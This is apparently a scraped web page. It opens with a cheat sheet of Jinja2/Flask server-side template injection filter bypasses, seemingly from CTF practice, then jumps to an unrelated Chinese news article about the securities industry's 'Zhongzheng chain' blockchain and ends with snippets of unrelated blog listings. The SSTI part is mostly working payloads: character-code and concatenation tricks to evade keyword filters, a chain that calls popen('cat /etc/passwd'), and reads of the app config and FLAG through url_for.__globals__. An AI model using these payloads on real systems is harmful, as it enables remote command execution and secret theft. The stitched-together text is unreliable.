    {% set payload = xhx*2~im~xhx*2~lb~quote~oms~quote~rb~pt~sy~lb~quote~ca~sp~slas~fl4g~quote~rb~pt~red~lb~rb %}
    
    • Python3 对 Unicode 的 Normal 化,导致 exec 可以执行 unicode 代码
    • Python 的格式化字符串特性
    {{""['{0:c}'['format'](95)+'{0:c}'['format'](95)+'{0:c}'['format'](99)+'{0:c}'['format'](108)+'{0:c}'['format'](97)+'{0:c}'['format'](115)+'{0:c}'['format'](115)+'{0:c}'['format'](95)+'{0:c}'['format'](95)]}}
    
    • getlist,使用 .getlist() 方法获得一个列表,这个列表的参数可以在后面传递
    {%print (request.args.getlist(request.args.l)|join)%}&l=a&a=_&a=_&a=class&a=_&a=_
    

    对象层面禁用

    • set {}=None,只能设置该对象为 None,通过其他引用同样可以找到该对象
    {{% set config=None%}} -> {{url_for.__globals__.current_app.config}}
    
    • del
    del __builtins__.__dict__['__import__']
    
    • 通过reload进行重载,从而恢复内建函数
    reload(__builtins__)
    

    过滤config、request以及class

    • 在官方文档中有一个 session 对象,session 是一个 dict 对象,因此可以通过键的方法访问相应的类,由于键是一个字符串,因此可以通过字符串拼接绕过,payload:{{ session['__cla'+'ss__'] }} 即可绕过过滤访问到类,进而访问基类、执行命令等

    过滤config、request、class、init、file、dictbuiltinesimport、getattr以及os

    • Python3中有一个 __enter__ 方法,也有 __globals__ 方法可用,而且与 __init__ 一模一样
    __init__ (allocation of the class)
    __enter__ (enter context)
    __exit__ (leaving context)
    
    {{ session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[256].__enter__.__globals__['po'+'pen']('cat /etc/passwd').read() }}
    

    trick

    Python字符的几种表示方式

    16进制 \x41
    
    8进制 \101
    
    unicode \u0074
    
    base64 'X19jbGFzc19f'.decode('base64') python3
    
    join "fla".join("/g")
    
    slice "glaf"[::-1]
    
    lower/upper ["__CLASS__"|lower
    
    format "%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)
    
    replace "__claee__"|replace("ee","ss")
    
    reverse "__ssalc__"|reverse
    

    Python字典或列表获取键值或下标的几种方式

    dict['__builtins__']
    
    dict.__getitem__('__builtins__')
    
    dict.pop('__builtins__')
    
    dict.get('__builtins__')
    
    dict.setdefault('__builtins__')
    
    list[0]
    
    list.__getitem__(0)
    
    list.pop(0)
    

    SSTI获取对象元素的几种方式

    class.attr
    
    class.__getattribute__('attr')
    
    class['attr']
    
    class|attr('attr')
    
    "".__class__.__mro__.__getitem__(2)
    
    ['__builtins__'].__getitem__('eval')
    
    class.pop(40)
    

    request旁路注入

    request.args.name    #GET name
    
    request.cookies.name #COOKIE name
    
    request.headers.name #HEADER name
    
    request.values.name  #POST or GET Name
    
    request.form.name    #POST NAME
    
    request.json         #Content-Type json
    

    通过拿到current_app这个对象获取当前flask App的上下文信息来实现config读取

    {{url_for.__globals__.current_app.config}}
    
    {{url_for.__globals__['current_app'].config}}
    
    {{get_flashed_messages.__globals__['current_app'].config.}}
    
    {{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].cofig}}
    

    特殊变量

    • url_for, g,request,namespace,lipsum,range,session,dict,get_flashed_messages,cycler,joiner,config等,当config、self被过滤了,但仍需要获取配置信息时,就需要从它的上部全局变量(访问配置current_app等)
    {{url_for.__globals__['current_app'].config.FLAG}}
    
    {{get_flashed_messages.__globals__['current_app'].config.FLAG}}
    
    {{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}
    
    展开全文
  •  近日,中国证券业协会“中证”发布首个应用——投行业务电子底稿监管系统,推动投行业务电子底稿报送的标准化,履行协会自律管理职责。6家作为首批加入“中证”节点的证券公司,将与协会共同承担“中证”...

    区块链作为一项新兴技术,其价值正得到普遍认可。并且在诸多领域都有应用潜力,其中金融领域因具备参与者之间信任度低、交易记录安全性和完备性要求高的特点,与区块链天然契合而证券行业作为金融体系的重要组成,广泛的业务场景也成为区块链技术应用的潜在市场。

      近日,中国证券业协会在“中证链”发布首个应用——投行业务电子底稿监管系统,推动投行业务电子底稿报送的标准化履行协会自律管理职责。6家作为首批加入“中证链”节点的证券公司,将与协会共同承担“中证链”服务行业的职能。

      “中证链”首个应用

      《证券日报》记者获悉,为推进科技监管能力建设,促进证券业数字化转型,形成共建共治共享的行业数字生态提升证券业服务效率和质量,中国证券业协会推出“中证链”。“中证链”是以区块链技术为基础搭建的证券行业联盟链,中证协已与海通证券、国泰君安、招商证券、广发证券、中国银河证券、浙商证券签订了联盟链合作协议。这六家公司作为首批加入“中证链”节点的证券公司将与协会共同承担“中证链”服务行业的职能。

      日前,协会在“中证链”上发布首个应用——投行业务电子底稿监管系统。据记者了解投行业务电子底稿监管系统,是中证协牵头建设的基于区块链技术,以统一的数据接口对接各证券公司的投行底稿系统、接收投行业务项目工作底稿报送并实现相关电子底稿线上检查、监管,提高投行业务内部控制的技术系统。

      对此记者采访了两家首批加入该联盟链的券商。

      银河证券方面在接受《证券日报》记者采访时表示,其最主要的工作是积极配合协会完成中证链联盟建立并积极参与后续的发展规划和实施工作任务的第一步是建立起联盟对接关系,完成自持节点的接入工作。目前公司内部硬件软件、网络等相关配置工作已经全部完成,正在进行部署与对接任务,预计春节前完成全部对接预计上述基础工作调试完成后,银河证券会启动优化升级工作,完成投行工作底稿报送通过自持节点上链的系统开发内容,充分发挥区块链分布式可信的特点,落实好证券行业监管需求,节点管理采取强化监管、多点维护的原则提供数据记录和校验服务。

      记者从相关证券公司人士处了解到“这个电子底稿监管系统主要是解决监管的痛点问题与券商自己的底稿系统定位还是有差别的。”

      以广发证券为例,记者了解到,广发证券投行业务电子底稿管理系统目前正式使用已经超过2年,能够覆盖各类投资银行业务能够动态反映项目整个生命周期,业务流程清晰、控制流程完整、底稿管理严格。广发证券相关负责人对《证券日报》记者表示:“广发证券已投入使用新一代投行业务管理系统建设项目,底稿电子化是新系统的一个重要组成部分,根据监管要求及业务人员使用反馈第一个版本于2018年上线,主要包括电子底稿的上传、审批、存储、预览、搜索,底稿日志、权限、模板管理等功能。”

      广发证券也是“中证链”联盟链成员“在技术支撑上,广发证券承担了‘中证链’在广州地区的区块链节点部署协助协会搭建起‘中证链’的雏形。后续该节点将成为‘中证链’分布式账本的一部分,完成相关行业区块链应用的节点记账;在应用推广上,广发证券已经于2020年底通过了协会的底稿监管报送测试工作,并在今年初投入使用该应用是广发证券在‘中证链’应用上的首次尝试,后续,公司将贴合行业实际情况,结合区块链技术防篡改、可追溯的特性,在行业黑名单、函证互认等领域进行研究,推广中证链在行业的应用。”广发证券表示。

      解决投行监管多个痛点

      《证券日报》记者在对多家券商投行部以及信息技术部相关人士的采访过程中了解到投行业务电子底稿监管系统可以解决投行业务监管方面多个难题。

      首先实现无纸化审核与查阅,降低纸质底稿散失风险。由以往纸质底稿为主过渡到看电子底稿为主,提高审核和查阅的便利性有力地推动作业模式转变、提升工作效率、降低运营成本。

      其次,使得尽调工作更标准更规范。底稿系统全面记录了尽职调查结果,项目立项、内核、申报、持续督导等关键流程及各阶段的文件审批均建立在及时获得电子底稿支持的基础上通过系统功能对各关键节点进行控制。业内人士对记者表示:“例如,业务人员在提交项目立项时,系统可以判别立项阶段的底稿是否已达到预审员可审核阶段,否则不允许提交立项;电子底稿所有操作有迹可查从技术层面支持内部控制的健全性。”

      第三,通过“中证链”和电子底稿监管系统,实现券商和协会的“云端”互动,也将极大程度解决监管机构核查工作量大管理协调难度高等问题,让监管更智能、更高效。

      第四,降低数据不可信风险。依托区块链链式数据结构依据时间戳序列,可进行历史版本追溯,监管机构可据此进行底稿目录底稿文件、信息变更的溯源。与此同时,区块链采用加密方式记录数据,尽管数据可见、可验证,但无法破解原文,为各参与证券公司的业务数据提供了安全防护。

      目前大部分属于存证类应用

      业内普遍认为,区块链本质上是一个多方共同参与维护的可信数据库,对券商可减少一定的运营成本同时增加可信度。在去年中证协发布的《关于推进证券行业数字化转型发展的研究报告》中也提出,鼓励证券公司在人工智能、区块链等领域加大投入,促进信息技术与证券业务深度融合,推动业务及管理模式数字化应用水平提升等。

      银河证券相关负责人对记者表示:“区块链在证券业具有广阔的应用空间,目前据我们的沟通调研多家头部券商都在进行此方面的积极探索,落地较多的探索方向主要是券商多场景的存证业务。存证作为区块链发展最早且相对成熟的应用方向,在各个行业均有较好的落地案例,证券行业有着丰富的数据和对数据真实性的高要求,存在诸多业务场景需要进行存证来赋予行业数据不可篡改、不可删除、公开透明、可追溯、保密性等特性,增强券商电子数据的公信力。”

      “银河证券目前已建设并投入使用了基于区块链的一站式存证管理平台,包含区块链底层管理运维平台区块链存证管理平台以及分布式文件存储平台,在场外产品代销、投资者适当性管理、信用交易、产品管理等业务重要环节,已完成如高端理财产品核心业务存证、客户重要通知信息存证以及客户合格投资者认证结果存证等业务场景上链。”

      除存证场景之外,对一些数据跨境的场景、多机构联合运营、多机构函证互认、行业级别的数据共享和风险揭示也都可以通过区块链的思路,并依托“中证链”这样具备公信力的联盟链来进行落地探索。

      另外,也有券商在探索新的业务模式。例如,在供应链金融场景中使用区块链增强信任提升效率, 降低下游企业的融资成本《证券日报》记者了解到,广发证券从2016年底开始根据自身的业务特点探索区块链应用,在2018年上线了可信ABS云,用区块链保存基础资产数据的存证, 证明数据的真实性和完整性。

    展开全文
  • tkinter UI界面模板

    2021-06-29 17:38:48
    前面  由于每次都需要ui界面代码,所以想着直接做个属于自己的模板,每次只修改一部分就可以使用,今天抽空写一写,也是帮自己复习。(当然,我还是菜鸟) 直接开始 这里插入代码片 ...
  • 这是 Jerry 2021 年的第 26 篇文章,也是汪熙公众号总共第 297 篇原创文章。 本文绝非标题党。 Jerry 前一篇文章 SAP Cloud Application Programming 介绍 - 2021 更新版,介绍了如何使用 SAP Cloud Application ...
  • 操作系统启动流程

    2021-11-07 15:46:25
    操作系统启动过程--第一阶段 bootsect.s阶段 Makefile 操作系统过程---第二阶段 setup阶段 初始化参数 启动保护模式 操作系统启动过程-----第三阶段 system阶段 操作系统启动过程----第四阶段 main.c阶段...
  • 需求背景:主程序常驻ROM,程序动态加载到RAM中运行。 程序由主程序动态加载到指定RAM位置执行,程序可以调用主程序的公共接口(函数),程序执行完成后返回主程序。
  • stm32新建工程模板

    2021-03-31 11:20:04
    新建工程模板一级目录二级目录三级目录 一级目录 二级目录 三级目录
  • Thymeleaf模板引擎

    2021-11-14 15:00:13
    经典的java单体项目中(前后端不分离),页面的编写往往采用JSP技术(Java Server Page),JSP的最大特点是可以页面中编写java代码,实际jsp经过转化生成Servlet,再编译生成*.class文件存储WEB容器中,而对...
  • 最近看项目代码的时候发现「责任模式」,于是想花点时间来写写什么是责任模式。不知道大家是怎么学习设计模式的,一般我都是用到的时候,或者接触到的时候才会去学。否则感觉学完就很容易就忘掉了,不能理解为...
  • 5. AlertManager 配置自定义邮件模板 看到上边默认发送的邮件模板,虽然所有核心的信息已经包含了,但是邮件格式内容可以更优雅直观一些,那么,AlertManager 也是支持自定义邮件模板配置的,首先新建一个模板文件...
  • 篇文章我们介绍了Tomcat的核心组件的的基本功能以及Tomcat中的实现,但是这些组件类是如何被启动起来的?比如我们知道Context组件的功能是管理容器Wraper的生命周期,那么Context组件启动时,肯定要创建...
  • "_doc" # 是否开启记录上次追踪的结果,也就是上次更新的时间,这个会记录到 last_run_metadata_path 的文件 use_column_value => true # 记录一次追踪的结果值 last_run_metadata_path => "/usr/local/logstash-...
  • 项目名称:vue-big-screen项目作者:奔跑的面条开源许可协议:Apache-2.0项目简介一个基于 vue、datav、Echart 框架的 " ...项目部分区域使用了全局注册方式,增加了打包体积,实际运用中请使用按需引入。拉取项...
  • 前言 结合着Android源码把所有的设计模式总结一下。 小白自我提高学习设计模式笔记(一)—代理模式 小白自我提高学习设计模式笔记(二)—装饰者模式... 小白自我提高学习设计模式笔记(四)—责任模式 一 ...
  • 二进制包 Linux 的也安装十分简单,从 官方 GitHub Release 处直接下载编译好的二进制文件即可。 例如, Linux 64 位系统直接下载对应的二进制包。 $ sudo curl -L ...
  • 本文属于「现代C++学习实践」系列文章的汇总目录,这一系列正式开始于2021/09/04,着重于现代C++(即C++11、14、17...为了方便PC运行调试、分享代码文件,我还建立了相关的仓库:[https://github.com/memcpy0/]。.
  • systemctl的service模板

    2021-03-02 16:15:59
    Unit 如果退出,则当前 Unit 也将停止运行 Before= 该字段指定的 Unit 要启动,那么必须当前 Unit 之后启动 After= 该字段指定的 Unit 要启动,那么必须当前 Unit 之前启动 Conflicts= 该字段指定的 Unit 不能与...
  • 2020.11.02更新新增【后台模板-部门管理】模块:包含新建部门、导入部门、添加部门、编辑部门、下移部门、移部门、删除部门、搜索部门 ; 新增【后台模板-成员管理】模块:包含添加成员、导入成员、查看成员...
  • 面向对象开发过程中,通常会遇到这样的一个问题,我们知道一个算法所需的关键步骤,并 确定了这些步骤的执行顺序,但是,某些步骤的具体实现是未知的,或者说某些步骤的实现是会随 着环境的变化而改变的,例如,...
  • 比如,订单示例项目中,有两个重要的领域对象Order和Product(DDD中称为聚合根),所有的业务都围绕它们展开,因此分别创建order包和product包,再分别包下创建与之相关的各个包。此时的order包如下: ├─...
  • 在模板页面中读取资源文件 Thymeleaf模板中对路径的处理 Thymeleaf模板中对内置对象的操作 Thymeleaf模板中对VO对象的展示 Thymeleaf模板页面中逻辑运算 Thymeleaf模板页面中数据遍历 ...
  • 2.1制作 HTML 页面\webapps\webroot\help\page_demo文件夹中新建一个 HTML 页面frame.html, HTML 中定义 frameset 标签,...详细代码如下:New Document//模板加载结束事件触发zhu(classno)方法,并把cla...
  • Apache HTTP 服务器 创建服务实体和API端点 创建域、项目、用户和角色 控制节点安装和配置镜像服务(glance) 控制节点安装和配置 Compute 服务 安装和配置计算节点 安装并配置网络服务(neutron) 启动一个...
  •  Dreamweaver 安装程序会在上下文选单增加一个“ Edit with Dreamweaver ”命令,我们还可以修改 Windows 的注册表使它与 IE 集成。就象 MS Word 、 Frontpage 和 Notepad 一样,通过 IE 工具栏...
  • Compose 项⽬是 Docker 官⽅的开源项⽬,负责实现对 Docker 容器集群的快速编排,功能跟OpenStack 中的 Heat ⼗分类似 【compose的开源地址】 1、compose概述 1》Compose 使用,⽤户可以通过⼀个单独的 docker...
  • 管道模式中,管道扮演着流水线的角色,将数据传递到一个加工处理序列中,数据每个步骤中被加工处理后,传递到下一个步骤进行加工处理,直到全部步骤处理完毕(比如电子厂里原材料通过流水线工人一个一个加工最后...
  • Thymeleaf模板引擎

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 50,192
精华内容 20,076
关键字:

启动子在模板链上